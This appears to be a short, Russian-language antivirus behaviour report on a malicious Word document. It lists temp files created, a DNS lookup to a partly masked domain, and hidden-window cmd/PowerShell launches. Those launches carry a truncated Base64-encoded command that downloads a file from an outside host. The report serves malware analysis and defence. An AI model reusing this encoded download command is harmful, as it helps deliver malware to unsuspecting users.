Техническая информация
- '<SYSTEM32>\cmd.exe' /c poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBkAHUAZQBuAGUAeABhAGMAYwB...
- <Текущая директория>\~wrd0000.tmp
- <Текущая директория>\~wrd0001.tmp
- <Текущая директория>\~wrd0000.tmp
- <PATH_SAMPLE>.doc
- DNS ASK du###xacch.com
- '<SYSTEM32>\cmd.exe' /c poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBkAHUAZQBuAGUAeABhAGMAYwB...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBkAHUAZQBuAGUAeABhAGMAYwBoAC4AYwBvAG0ALwB0A...